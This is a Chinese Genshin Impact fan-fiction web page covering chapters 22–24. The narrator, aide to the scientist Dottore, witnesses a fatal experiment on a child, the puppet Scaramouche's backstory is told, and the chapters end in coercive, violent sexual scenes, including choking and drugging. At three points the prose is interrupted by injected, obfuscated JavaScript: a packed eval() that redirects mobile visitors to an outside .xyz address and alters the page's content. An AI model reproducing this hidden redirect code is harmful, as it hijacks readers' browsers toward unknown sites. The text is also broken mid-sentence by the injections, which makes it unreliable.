我旁观了邪眼被用于实战的第一次人体实验,相比于传统的神之眼持有者,邪眼没有使用前提,他的工作原理只是将元素以粗暴的手段强制导入人体,然后再释放出来而已。 这样的行为,几乎是以自己的生命为代价,神之眼本质上是一种外置的魔力器官,能够引导使用元素力,但邪眼的使用则是建立在使用者的身体基础之上的。被元素力磨损和消耗的身体机能,会发生什么情况几乎是一眼可知。 试验场地内,佩戴着暗红色邪眼的少年催动着力量,身上冒出一种暗调的火焰,而其对面,则是一位拥有火系神之眼的愚人众士兵。 火焰与火焰相互碰撞,两人扭打起来,那使用邪眼的少年一时间竟然占有些许优势,在训练有素的士兵手下不仅毫无退色,甚至偶尔能逼退那士兵的攻势。 胜负很快揭晓,使用邪眼的少年能催发出的元素力量比拥有神之眼的士兵更加强大和狂暴,理所当然地获得了胜利,但他在收回邪眼的力量后,似乎也已经完全精疲力竭,脸色苍白。 这位少年几乎是完全靠着自己的毅力走了回来,来到一众实验员面前。 我看到他的左腿不自然地弯着,应该是在刚才的打斗中骨折了。 少年一身狼狈,但还是带着希冀的目光抬头:“大人,我赢了!您说过的,只要我能够尽自己的全力打赢这场比赛,就会放我离开,大人,您可要说话算话啊。” 我现在才认出这少年是从【仆人】的壁炉之家送来的。 多托雷这家伙,恐怕是为了防止实验体消极实验,才想出这么个承诺。 我看向多托雷。 多托雷面具下的嘴角轻弯。 “当然当然,”他说,“我确实如此说过,而你,也确实出色地完成了实验,第一代邪眼在你的手中发挥出了符合预期的效果,我很满意。塔德纳。” 我略微弯腰。 “主人。” 多托雷的笑声里带着些冷意,他只是看着那位少年,摆了摆手。 “将我们的1号样本带走吧,噢,差点忘了,他现在不再是实验样本了,那么,这位……” 少年:“尼基塔,尼基塔·雪奈茨维奇……” “好吧,请将他带离这里吧,现在,尼基塔,你可以离开这里了。” 少年激动的神色几乎掩盖不住,我看着少年因为刚才那场战斗遍体鳞伤的身体,一时间不知道如何下手,好在尼基塔对我这个行走在多托雷身边的鹰犬似乎好感度一般,他艰难地支撑着自己的身体。我示意身边的人让开一条道,然后伸手为尼基塔引路。 试验场地建在室外,尼基塔作为“失败品”被从壁炉之家送来当实验品的那一刻,几乎再也没能见到过外面的景色,而他身上的衣服,不过也只是用白色的薄布制成的短衣短裤而已。 他在冷风中瑟缩着,光脚踩在带着一层薄雪的土地上,身形晃悠。配上他那没有一丝血色的脸,我甚至怀疑他能不能走得出去。 我有些忍不住地开口:“你真的没问题吗?需要我扶你一段吗?” 尼基塔恶狠狠地瞪了我一眼:“不用!咳咳,你也是个坏蛋!离我远点!” 我:“……” 我无言以对,选择放下助人情节,尊重他人命运。 多托雷的实验样本有能活下来的例子吗?当然,活力之家的阿巴斯或许算,可那是极为特殊的情况,自从来到至冬成为多托雷的副官后,我就从未见过实验样本被活着放走的情况。 第一个使用邪眼的实验样本啊,多么有研究价值,多托雷不可能只是得到一个“邪眼可以正常使用并且使用效果绝赞”这样的结果就善罢甘休的人,他怎么可能不会将这位实验样本最后的价值都榨取干净? 无论是研究邪眼的使用后遗症,还是使用邪眼的阈值,这位少年的价值,都远远不止于此。 我如此思考着,心中有些暗暗鄙弃自己竟然与多托雷那个实验疯子的思维趋同了,甚至在那位少年突然惨叫着吐血倒地的时候,我心里都只有“果然如此”这一个想法。 多托雷走过来,与刚才不同,他现在似乎连多余的一丝眼光都懒得分给地上这位可怜的少年了。 少年哀嚎着,似乎在承受剧烈的痛苦一般,他的眼睛,鼻子和嘴角都在不断地往外涌着鲜血。 “看来初代邪眼对身体的负荷很大,需要再进一步的优化和研究。” 他蹲下身,将少年腰间悬挂的邪眼勾下来,那枚邪眼的红色光泽已经变得很暗淡,一如少年那灰暗的双眸。 “余兴便到此为止吧,依照约定,我确实同意了你‘离开’的请求,但前提是你真的能离开这里,不过以你现在的状况,大概是没办法实现了吧。” 少年发出不忿的哀鸣。 只可惜,这样的惨状,无法引起在场任何一人的同情心,甚至少年的濒死,也只不过是为这场恶鬼的聚会增添了一丝乐趣而已。 我看着不远处那群实验员仿若要将少年立刻解剖研究的眼神,在心里叹了口气。 我将已经昏迷的少年抱起来,这位年纪尚小的少年几乎没什么重量,轻飘飘的。很难想象这样的一具躯体,居然在刚才战胜了一位强壮的愚人众士兵。 是邪眼,还是想要活下去的意志呢? 亦或者是二者皆有。 我看向多托雷,从他那被遮住一半的脸上我看不出来任何东西。 “主人,那我先把尼基塔送回实验室?” 多托雷:“去吧,实验室那边有人等着,将1号样本送到那里,他们会知道要怎么做的。” 这家伙,果然从一开始就没打算放过尼基塔。 “是。”我说。 在转身的时候,多托雷突然又加了一句。 “把样本送完记得换一身衣服,休息室里准备了你的尺码的衣服,我不想看到你再穿着这身脏衣服回来。” 我:“……” 我低头看了一眼自己的衣服,今天刚洗完澡换的,但是胸前有被少年伤口蹭到的血迹。 这就算脏了?!那多托雷做实验糊的一身全是血的时候怎么没见他这么讲究过! 他脑子抽了吧! 我暗暗咬了咬牙,语气带上些不满:“是……” 多托雷甚至笑了两声! 这家伙,绝对是做实验把脑子做坏了吧! 我想起这两个月多托雷对我的态度,他减少了对我的恐吓,但对我的掌控欲也越来越强了,我每天去了哪里,干了什么,他比我自己还清楚。 而且自从那件事情发生之后,多托雷对我“动手动脚”的频率也越来越高,他似乎很喜欢与我的肢体接触,而且总是采取一种居高临下的完全掌控的姿态,我为了讨好他,也做了一些没羞没臊的事…… 算了,还是不要再想了,一想到那些事我就有些头晕腿软。 看来得早点了解更专业的生理知识了,正好,之前拜托去须弥的人替我带的书也应该送到了。 我低头抱着怀中的少年走在走廊里,意识却早不知道飞到哪里去了,直到我似乎和谁迎面撞上了,额头一疼,一不小心竟然倒退两步摔倒在地上,怀里的人也被撞得掉到地上了。 “嘶……”我忍不住摸了摸自己的额头,一看,指尖多了一丝血痕。 谁的头…… 这么硬! 我抬头看去,和一张妍丽的面孔对上,那是一张美得已不似凡人的少年的脸,蓝紫色的双眸里带着不耐烦的怒色。 “嘶,你这家伙,走路不长眼吗?” 妍丽的少年扶着自己的帽子,如此骂道。 这张脸…… 我的意识迅速回笼,一瞬间如坠冰窟。 【丑角】从后面走出来:“斯卡拉姆奇,发生什么事了?” 被称为“斯卡拉姆奇”的少年啧了一声,把自己被撞歪的帽子摘下又戴上。 “被不长眼的家伙撞到了而已,你们愚人众尽是这种上不了台面的家伙吗?”他冷笑着讥讽。 【丑角】此刻才看到我,不由得皱了皱眉。 他说:“塔德纳?你怎么在这里?”他看了一眼地上的尼基塔,但很快移开视线,“多托雷呢?他怎么没在你身边。” 我嗫嚅了一下嘴唇,下意识地开口:“主人其实一般都不会把我一直带在身边的……” 【丑角】看我的眼神怪异了几分。 斯卡拉姆奇嗤笑一声。 那双再也不复清澈的蓝紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875968|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色眼睛挑剔地打量着我,最终化为一句:“蠢货!” 他看向【丑角】,话中多了一丝幸灾乐祸:“呵,如果你们愚人众都是一些这样愚蠢的家伙的话,或许我该再次谨慎地考虑一下‘是否要加入你们’这件事。” 【丑角】叹了口气:“塔德纳平时不会如此的,他只是胆子有点小,可能被你吓到了。” 斯卡拉姆奇一脸不可置信:“哈?” 【丑角】看着我:“起来吧,塔德纳,我想你应该还没有到没办法自己站起来的地步。” 我恍惚着站起来,眼睛还直勾勾盯着斯卡拉姆奇。 斯卡拉姆奇翻了个白眼:“你看我干什么?可是你不看路先撞上我的,别想着把错推到我身上。” 我抿了抿唇:“我没有这种意思……” 【丑角】适时打断我们的话,他先是对斯卡拉姆奇说:“他叫塔德纳,是执行官第二席【博士】的副官。”然后又对我:“这位是斯卡拉姆奇,来自稻妻,以后会成为愚人众的一员,成为我们的同伴。” “呵。”斯卡拉姆奇回以一声冷笑。 我摸了摸还在疼的额头,低着头回了一句:“是。” 【丑角】:“我们先走吧,时候不早了,我会抓紧时间带你熟悉一下这里。” “那种事情不急。”斯卡拉姆奇的语气有些恶劣,“是这家伙先撞到我的吧?这件事就这么过了?好歹要给我道个歉吧?” 我咬了咬牙,大脑好像在被一把锯子拉扯着锯开一般疼。 是那个清幻剂的副作用,没想到现在发作了。 我闭了闭眼,弯着腰,语气有些虚弱地道:“抱歉,斯卡拉姆奇大人,是我没看路,冒犯了您很抱歉。” 我没能等到任何一个人的反应,因为有另一道熟悉的,此时此刻我最不想听到的声音响起。 多托雷不知道何时出现在这里,他走到我身边将胳膊搭到我的肩膀上,我感受到他的气息,身体一僵。 多托雷看了一眼【丑角】,又落到妍丽的人偶少年身上,笑意昂扬。 “很热闹啊,我刚结束一场实验,没想到回来的时候还能看到这么精彩的场景。哦,我还没自我介绍吧,你可以叫我【博士】,我是一名学者,塔德纳是我的副官,他似乎给你造成了一些不便,那么,请允许我替他向你表达歉意。毕竟塔德纳总是笨手笨脚的,看吧,只是让他帮我把实验体送回实验室这样简单的事情也总是办不好。” 随着多托雷的声音,有两人出现将在地上躺了不短时间的少年抬起来然后带走。 我从多托雷出现开始就低着头,害怕被他察觉到我的不对劲。 虽然这样只会显得欲盖弥彰。 “你就是【博士】?”斯卡拉姆奇抬头与多托雷对视,“我听说过你,你很有名。” “哦?我的荣幸。” “他们都说你是‘怪物’,‘疯子’,是为了做实验不择手段的家伙。我听说过你的一些事迹,不用和我套近乎,我也没兴趣认识你。” 多托雷的笑容更甚,他甚至笑了出来,那笑声回荡在冰冷的走廊里,没多少温度。 “看来我们的新同伴对我的谬误颇深啊。不过我还是奉劝你,与我对话,最好用更恭敬的口吻,斯卡拉姆奇,毕竟,你以后说不定还要来求我这个‘不择手段’的人办事,不是吗?” 斯卡拉姆奇冷着脸啧了一声。 【丑角】沉声开口:“好了,既然是新同伴,没有必要如此剑拔弩张,多托雷,收敛一点。” 多托雷点头称是。 “我们走吧,斯卡拉姆奇。” 两人的身影很快消失。 多托雷目送着斯卡拉姆奇的背影,手指抚摸着我后颈的颈椎骨。 “如何,终于见到了故人,感觉怎样?呵,我忘了,他似乎连认都没认出你,对你的态度还那么差。” 我沉默着。 头被轻轻抬起,多托雷抚摸着我被撞伤的额头,那里的伤口只出现了很短的时间就被修复了,如今只剩下一点残余的血丝。 多托雷低头亲吻着那里,带来一丝丝轻微的痒意。 我忍不住伸手抓住多托雷肩膀上的布料,将自己送得更近。 我听见自己的声音响起,沉闷而虚弱。 “主人……我头好疼……” 23. 第 23 章 从稻妻城求救无果后,倾奇者不得不再次返回踏鞴砂,即使没能搬来救兵,他也希望能够在最后的灾难时和踏鞴砂的大家一起面对。 当他驾着小船在海上漂泊数日后回到踏鞴砂,却发现几乎找不到人,唯一迎接他的是一位身着枫丹服饰的机械师。 倾奇者记得他,这位机械师,因为改造锻冶的新技术来到踏鞴砂,是莫里茨的上司,叫埃舍尔。 他记得莫里茨也并不是特别喜欢他。 埃舍尔交给他一件装置,告诉他丹羽已经抛弃了踏鞴砂和踏鞴砂的所有人,在逃跑的最后,他选择让倾奇者来成为进入御影炉心吸收污染的人。 倾奇者不肯相信,他死死捏着手里的装置,问埃舍尔。 “丹羽他不是这样的人……丹羽,他去哪里了?” 埃舍尔反问:“你又凭什么认为丹羽会愿意舍弃自己的生命和大好的前程,和踏鞴砂一起埋葬在无端的污秽里呢?人都是自私的,没有踏鞴砂,没有你,丹羽大人依然可以过得很好,不是吗?” “我不信你的话,你让我见丹羽!” 埃舍尔:“这要让我如何回答你呢,丹羽大人已经叛逃了,就连我,也无法得知他的踪迹。相比于纠结丹羽大人的行踪,我会更建议你先办正事,比如,关停御影炉心。” 他打开窗户,从这个方向正好能看见岛屿的正中央,那枚悬于空中的巨大锻冶炉,正不断散发着漆黑的烟雾。 “踏鞴砂的人们还在等着你呢,倾奇者。”埃舍尔看向人偶,“看看如今踏鞴砂的样子,想想那些被丹羽大人抛弃的,只能在绝望中等待死亡的踏鞴砂的人们,你还觉得,现在在此继续纠结丹羽的事情,是一件有意义的事吗?” 倾奇者咬了咬牙。 丹羽或许真的逃走了。他想。 要不然他为何找遍那么多地方都没能发现丹羽的影子呢? 最终,倾奇者答应了独自带着吸收装置进入炉心关停污染的事。 污染远超预期,火舌舔舐上倾奇者的身体,即便是人偶,他也感到难以忍受的疼痛。 他一度以为自己会死在炉心,但他最终还是活了下来。 倾奇者离开炉心的时候,碰到了莫里茨。 他已经很久都没能见到莫里茨了,倾奇者下意识地摸了摸藏在怀里的书本。那是莫里茨送他的礼物,不知为何,在炉心的大火里并未被燃烧。 莫里茨似乎等了他很久,那双绿色的眼睛都累得没了光泽。 倾奇者记得那双眼睛,很温柔,在阳光下像一滩绿色的湖水。 莫里茨交给他一封信,倾奇者接过的时候被烧毁的手指在白花花的信封上留下了黑色的印记。 他想要抹去印记,却是越抹越黑。 莫里茨说他准备了船送他走,也替他找好了一份新的工作,让倾奇者以后就在那里生活。 倾奇者于是又被一艘船送回到了鸣神岛,在那里,他又遇到了熟人。 是埃舍尔。 这位枫丹的机械师看着他,倾奇者感到一阵不怀好意的冷意。 埃舍尔叹了口气,语气拉长:“我的这位副手,还真是拥有一颗无论如何也无法染黑的善良之心,实在是让我自惭形秽。”他对倾奇者说:“你活了下来,真是一件好事。” 倾奇者觉得埃舍尔身上有一股他不喜欢的气息,他远离埃舍尔几步,拿出熏得有些黑的吸收装置,问出那个疑惑了他好几天的问题。 “我在炉心的时候,这个装置似乎保护了我,里面是什么?” 埃舍尔轻轻地笑了。 “丹羽大人畏罪潜逃之前替你准备了一份礼物,据说是你一直渴求之物。是从无辜的随从身上弄来的。” 倾奇者打开装置,里面装着的,赫然是一颗枯萎的心脏。 他捏着装置外壳的手指发紧,带着被背叛的心痛,他狠狠将装置摔在地上,那颗心脏也跳出来,落到埃舍尔脚边。 埃舍尔佯作惊讶:“天啊,这是……是一枚人类的心脏,丹羽大人怎么会准备这样的一份礼物,实在是……” 倾奇者愤怒地开口:“够了,你闭嘴!” 那语气,与其说是愤怒,不如说是悲伤。 埃舍尔看着人偶色厉内荏的模样以及脸上流下的泪,语气怪异。 “好吧,好吧。看来丹羽大人准备的礼物实在是有些拙劣,无法获得接受之人的感谢。不过这也没关系,我的好副手这不是送了你一份足够美好的礼物吗?” 埃舍尔从喉间挤出一声笑。 “友善淳朴的打铁匠人,安静祥和的村庄,多么美好,美好得足够让人忘记踏鞴砂那个糟糕的地方,糊涂地度过未来的所有生命。你看,我的好副手,他虽然对我阳奉阴违,却很喜爱你呢。你完全可以忘记所有的一切,忘记踏鞴砂的那场灾难,忘记叛逃的丹羽大人,然后开启你美好的未来生活。” 倾奇者突然感觉自己丧失了所有的力气。 他攥着衣襟,一瞬间有一种把怀里的书丢掉的冲动。 但他最终没有。 埃舍尔离开后,他便也离开了。 他没有去莫里茨给他安排好的那户匠人家,还烧掉了信封。 烧得火花四溅的火堆旁,倾奇者发着呆,注视那封信被烧成灰烬,然后落在地上,风轻轻一吹就消失得无影无踪了。 倾奇者开始了自己流浪的生活,他遇到了一个同他一样被抛弃的孩子,他与那位病弱的孩子相约好要永远在一起,然而在某个不知名的早晨,脆弱的生命戛然而止。 他再一次被抛下了。 他想起很多事。 在温暖的篝火旁,有一抹红色挑染的青年郑重地说: “你不是人偶,而是人类啊,最多也就是少了一颗心。” …… “骗子。” 在躲雨的木棚下,那双温柔的绿眸注视着他: “当然。等你看完就来找我吧,我会送你新书。” …… “骗子。” 在简陋的房屋里,倾奇者的尾指与那苍白脆弱的手指碰上。 “那我们拉钩,要一起永远永远在一起。” “不许违背誓言。” “嗯!” …… 倾奇者沉默很久,最终不甘地嗤笑一声。 “啧……骗子。” 他遇到了一个戴着半脸面具的怪人。 怪人说,他名为【丑角】,来自至冬,要邀请他加入愚人众。 就如此吧。 人偶如此想。 人绝不可信,神亦令人憎恶。 从现在开始,他将遗忘并抛弃软弱且可悲的过去,作为一个新的个体,作为“斯卡拉姆奇”,行走在这世上。 他将过去的事物都抛弃,包括那本被无数次翻阅的书。 记录着两种不同的笔迹,纸张泛黄但边角却被保存得没有一丝翘边的书落入湍急的河流,连同人偶最后的眷念也一并带走。 …… 我在第二天见到了【女士】,【女士】看见我,挥手让身边的人离开,然后才拿出原封不动的书和信封递给我。 “我按照你给我的地址找了那户工匠家,但是没人看到你的朋友出现在那里。” 我接过,将书抱在怀里。 “没事……我已经见到他了……” “那个人偶,‘斯卡拉姆奇’?”【女士】的脸色有些扭曲,“很难想象你会和这种人是朋友。那家伙说话太难听了,我和他相处不来。” 我苦笑两声。 【女士】问我:“你不准备和他说清楚吗?” 我摇头。 “身份不方便,踏鞴砂的事件……您也知道,我也是坏人中的一员,要是被知道,恐怕会被杀死的吧。” 我忍不住扶了扶发疼的额头:“或许我早该认清楚自己的身份……一边做坏事,一边又去大发善心……真是可笑。” “呵,【博士】如果知道你的这番感悟说不定会很开心。” “……那说不定也算一件好事。” 【女士】沉默了,她将我上下打量了好几眼,最终笑了一声。 “你变了很多,塔德纳。” “在主人身边一直维持原样才是最难的事情吧。” “呵,看来我之前对你的告诫没能起到作用。不过你的胆子也变大了,敢在我面前说【博士】的坏话。我说不定会原封不动地告诉【博士】哦。” “您随意就好。”我有些自暴自弃,“反正更过分的事情都做过那么多了,如您所见,我现在仍然还在呼吸,甚至可以早睡晚起,消极怠工。主人已经在实验室待了两个多月了,我这个废物,顶多干点跑腿的事。除了不能离开主人视线范围太久,没什么不好的。” 【女士】似乎是被逗笑了,竟然还有心情顺着我的话接几句。 她意味深长:“确实,现在整个至冬可能都找不出来比你更清闲的人了。不过,我想代价是其他的东西吧。” 我嘴角抽了抽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875969|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太想接这番话。 【女士】不打算就这么放过我。 她说:“现在愚人众里关于你和【博士】的传闻,已经多得可以写成一本轻小说送到稻妻发表了。” “怎么您也跟着信这个……”我语气虚弱。 我一瞬间想起这两个月查到的东西,那些关于我和多托雷的故事,什么用情至深不惜从须弥一起跟到至冬只为待在多托雷身边,或者是多托雷强制爱,结合被扒出来的我刚到至冬被多托雷惩罚关进黑屋的情报,那些传闻简直就是…… 不堪入目。 至冬可能还是文娱产业不发达,连涉及执行官的这种离谱谣言都能传得沸沸扬扬,甚嚣尘上。 最离谱的是,多托雷似乎没有要约束管制的消息! 搞得我失眠了好几天,现在还在犹豫要不要主动请多托□□一下这些谣言。 【女士】轻笑:“毕竟就事实来看,那些传言也不能说完全是错的,不是吗?” 我捂住脸:“求您,放过我吧。” 怎么【女士】去了一趟稻妻还变得爱开玩笑了。 “好了,不逗你了。”【女士】收起笑意,“既然你也知道这些传言,那么想必对于你如今的处境,你也应该很清晰了。【博士】不可能不知道这件事,他的意图,你我都清楚。” 我的心情一下子又沉下来。 如何能不清楚。 如今我的名声在至冬可不算太好,说是多托雷的附属物都毫不为过,即使哪一天我彻底消失在大众的面前,恐怕也只会被归为一件“执行官的香艳传闻”,然后隐没。 多托雷想要消除掉我身上属于“个人”的痕迹。 从社会层面。 “好自为之吧,塔德纳。”【女士】拍了拍我的肩,“我可不想以后只能在【博士】那里听到你的只言片语。你知道的,我不喜欢和他说话。” “和主人的意志对抗吗……”我苦笑。 【女士】摆摆手,选择换一个话题:“我答应你要把东西送到你的朋友手上,但很可惜,事情的发展总是出人意料。就算我没能帮到你吧,我们之间的约定未能达成,你欠我的人情也不必记着了。” “不用。”我看着这位火之魔女,这位和传闻中的形象大相径庭的火之魔女,心中稍微平静了些许。 “我欠您的人情依然作数,就当是对您‘没有向主人揭露我的事情’的感谢吧,当成您对我的多次提醒的感谢也行。也算是我对您的一个承诺,承诺即使很久之后,我依然能够作为‘塔德纳’行走在外面。” 【女士】愣了一下。 “很有气势嘛,塔德纳。”她的眼神稍微柔和,“那我就如此期待着吧,可不要让我失望啊。” 辞别【女士】之后,我又去找了一趟请求帮忙带书的人,这位听到我的来意,连忙得意地拍着胸脯向我保证。 “您放心吧,大人,书我已经买好了,不只是专业的书籍,甚至是一些不在市面上正式流通的,我也通过我特殊的线路搞到了!绝对包您满意。” 不流通的?那是什么玩意儿?不就是一些讲人体生理知识的书吗?又不是禁书。 我皱了皱眉,感到一种不妙的预感。 我压下心中的不安,将准备好的摩拉递给他。 “那书呢?” 那人掂量一下沉重的摩拉袋,谄媚地一笑。 “我已经差人已经送到您的住处了,您回去就能看到。” 于是我回了一趟我如今的休息处,离实验室不远,是愚人众统一配发给执行官的住宅,我在须弥就和多托雷一起住,到了至冬自然也不可能被放过,所以也搬了进来。 日常多托雷住一楼,我在二楼,稍微有点动静就会被多托雷知道,隐私不能说很差,只能说完全没有。 但好在这个房子里需要睡觉的正常人类如今也只剩下我一个了,我还是能每天在昏睡后获得短暂的“个人空间”的。 毕竟多托雷总不能在我梦里还纠缠我。 开门的时候我发现房子里好像有人,多托雷坐在沙发上,对面的桌子上摆着一大摞已经开封的书,而多托雷也正翻着一本,书的封面是一副相当露骨的图画,两个赤条条的人交织着。 多托雷听到声响,朝我的方向看来。 “回来了。”他说,语气里夹杂着诡异的笑意,“我回来的时候看见这些书摆在门口就拆开了,是你买的吗?” 他朝我扬了扬手里那本不堪入目的书。 我眼前一黑。 24. 第 24 章 我几乎是艰难地强迫自己迈腿走进去的,在走到多托雷身边的时候,我乖顺地跪下。 多托雷看着我,眼神如同粘腻的蜂蜜一样,包裹着我,密不透风。 “主人。” 我放轻了声音,伸手搭上多托雷的腿,将自己的脸贴上那层薄薄的布料。 多托雷好整以暇地注视我的动作,连身上的肌肉都没有一丝一毫的变化。 我咬了咬牙,挪动两步将自己靠得更近,站起来又跪在沙发上去攀附多托雷的肩膀,确认多托雷没有丝毫的反应后才微合上眼,亲上那半脸面具下的脸。 先是侧脸,然后是嘴角,在碰上那唇瓣的那一刻,多托雷终于有了动静,他一只手捏着我的脸将我压倒在沙发上,膝盖顶在我的腿间。 他亲上来,含着我的嘴唇,舌头撬开齿间的缝隙滑进来,在口腔内攫取那本就不多的氧气。 多托雷的动作绝对算不上温柔,甚至那钳制着我脸的手如同钢铁一般,掐得我脸疼。 我尽力仰头配合着他的动作,感受到强烈的难以呼吸的窒息感。 我不敢睁眼,因为这个角度睁眼能看到其实只有那副面具,且那尖喙面具的角,如今抵着我的皮肤,随着多托雷的动作越陷越深,疼得要命。 我颤抖着手去够那面具,想要取下来。 多托雷突然停了动作。他松开我,将我伸了一半的手握住,压回来。 呼吸到久违的空气,我终于感觉活过来一半了。我喘着气,因为长时间的缺氧眼前一阵黑一阵白。 多托雷摩梭着我的脸,无比温柔。 “只要你愿意的话,你总是能轻而易举地取得别人的喜爱,塔德纳。你或许该看看你现在的这副表情。”那只手抚上我的眼角,带下点湿润,“如此柔弱,又如此乖顺,和你的所作所为完全相反,不是吗?” 多托雷无论何时都温度极低的手掌游走在我的身上,让我感觉像是被一条蛇缠住,我忍不住抖了抖。 今天的多托雷有些奇怪,他平时根本不会在我主动求取他欢心的时候打断我,也不会计较像是“摘下他面具”这样的小事。 他知道我臣服于他的外表下其实并未有多少忠心,也知道我那狡猾的心思,那想要寄生于他对我的扭曲感情的打算。 但他并不介意这个。 或者说,暂时并不介意。 真实的情意对他而言才是最难接受,也最难理解其存在的东西。 但是今天的多托雷,太不一样了。 即使都是那样一副琢磨不测的笑容,即使周身的气场依然犹如往日,但我似乎在那最深处感受到了一丝的…… 愤怒。 没错,愤怒。 自从跨越五十年的昏迷后再次见到多托雷到如今,我几乎很难再把这样的情绪与多托雷结合在一起。 他变得很圆滑,也更擅长掩藏自己的情绪。 但人的底色是很难改变的。这点我很清楚。 那些傲慢的情绪其实一直都存在,只是现在的多托雷真的很会伪装,他会装成一副“友好温柔”的样子,因为那对他与其他人交流时更有益。 多托雷轻笑着。 他说:“你或许还不知道,哦,你当然不知道,毕竟是今天早上刚刚发生的事情,你那个时候去找【女士】了。” 他抚摸着我的脖子,却不像是带着情.色的玩弄。如同压迫着猎物,随时会咬上要害处令其死去的毒蛇一般。 “斯卡拉姆奇拒绝了【丑角】为他安排的下属,他说他不喜欢手下尽是些蠢货,【丑角】便让他自己去挑选。但你猜猜,他跟【丑角】要的人,是谁?” 我的心里升起不好的预感。 “是你,我亲爱的副官。呵呵,真是有意思,尽管你的样貌完全与伪装的时候不一样,即使你们的初见是那样的糟糕,即使……”他的手掌缩紧。 “即使那短暂的会面里你也如同他口中的‘蠢货’那样毛手毛脚,被人嫌弃。但是,他竟然还是会提出想要你过去当他的下属这种事。” “这要让我如何评价呢,塔德纳。”多托雷的笑声弥漫在这片空间,我却感到遍体生寒。 “你太能获得别人的同情和喜爱了,这让我,有些生气呢。” “主人……”我发出颤抖的声音。 “或许我应该给你拴上一条更显眼的狗链,让别人一看就知道你到底是属于谁的。又或者……” 多托雷俯下身,吐息洒在我的脖颈:“又或者,我应该直接把你关起来,这并不会带来任何损失不是吗?你既不用再纠结着劝服自己去做那些违背你原则的事情,我也不用再担心,像今天这样的事情发生。” 不! 不可以! 我挣扎着去扣那只掐着我的手,那手指被我好不容易掰开了一点,又很快以更大的力气合上。我被掐得脱力,双腿无意识地扑腾着。 多托雷冷笑一声,有些不耐烦地用膝盖狠狠磨压着我腿间的那处。 意识昏沉之间我感受到一股难以言喻的疼痛如同电流一般贯穿全身,我颤抖着发出一声痛呼。 “呜……” 但随着那阵剧烈的疼痛之后,我发现我的身体似乎开始不由自主地兴奋起来,奇怪的热流涌动在身体里,烫得我有一种发烧一样的难受感。 多托雷也发现了我身体的变化。 他看着我颤巍巍站起的那处,周身的愤怒一下子消散去很多,就连掐着我脖子的手都松开了。 “算了。”他的笑声都平静下来。 “虽然你不太会讨我欢心,但你的身体还挺会的。” 我无地自容地挡住脸。 太羞耻了,竟然会因为多托雷那样粗暴的动作产生欲望。 我无法否认我的身体对多托雷产生的下意识的反应,尽管我顺从多托雷那些行为的本意是“活下来”,但我的身体,似乎也在这样的过程中开始熟悉多托雷的动作,甚至—— 开始因为多托雷给出的痛苦而兴奋。 多托雷从茶几的暗格里取出一个瓷瓶的罐子,然后伸手就要解开我的裤子。 我下意识地按住他的手。 多托雷似笑非笑地看了我一眼,绕过我的手,手指包裹着那处隆起,稍稍用力。 “呃嗯……” 我的力气一下子散去,那处传来的快感让我呼吸急促起来。 “不用拒绝,塔德纳。”多托雷声音低沉,如同恶魔在诱惑即将踏入深渊的人类。“你或许偶尔也该更听从一些你的身体的选择。” 什么选择,指对多托雷的…… …… 再次醒来的时候已经是晚上了,我躺在自己的床上,身上的衣服已经完全换了一套。 我撑着头坐起来,浑身疼得要命,特别是后面那处,虽然能感觉到做了清理,但好像已经肿了,稍微动一下都能感受到怪异的痛感。 稍微缓了一会儿,我穿上一件披风走下楼。 多托雷似乎不在,一楼连灯都没有开,一片黑暗,只有壁炉还烧着柴火,散发着微弱的火光。 其实多托雷是完全不需要取暖的,这玩意儿还存在的意义是为了让我这个还算得上是人类的家伙活下去。 我打开灯,一眼看到茶几上那一大堆书,地上还掉着一本,恐怕是那个时候被多托雷随手丢掉的。 我撇开眼,脑海里的记忆浮现出来。 不堪入目。 住宅里会定期来人清理,多托雷不喜欢身边有太多人,所以一般都是趁他不在的时候安排人手清洁。 当然,我偶尔也会干干这种事,也算是继承旧业了。 只可惜时移事异,换做当年在须弥的我,应该怎么也没办法想到有一天会和多托雷…… 这太可怕了。 我摆了摆头,试图把这点想法甩掉。 清洁的工作一向是我来安排的,所以房子里的一切似乎还都与我意识消失之前一样的景象,我握上门把手,转了转,没转动。 被多托雷锁在家里了。 我意识到这件事,心里有些烦躁。 但好在办法总比困难多,窗户没办法反锁,我换了身衣服,从一楼的窗户跳了出去。 风雪很大,从领口迫不及待地灌进去,我紧了紧兜帽,想起最近的天气预报,推测这应该是在那之后的第二天晚上了。 唔…… 这很奇怪,就算是真的累晕了过去,以我的体质也不应该昏睡这么久。联想到反锁的大门,我怀疑多托雷可能给我喂了什么。 等我到实验室的时候,门半开着,里面只有两个人。 多托雷,以及…… “我想我已经说得很清楚了,我对你的实验不感兴趣,也不想和你交往过深。” 一身黑紫色衣服的少年扶着宽大的帽檐,语气冰冷。 “呵呵,当然,当然。”多托雷背对着大门,我躲在门后,只能看到他那蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 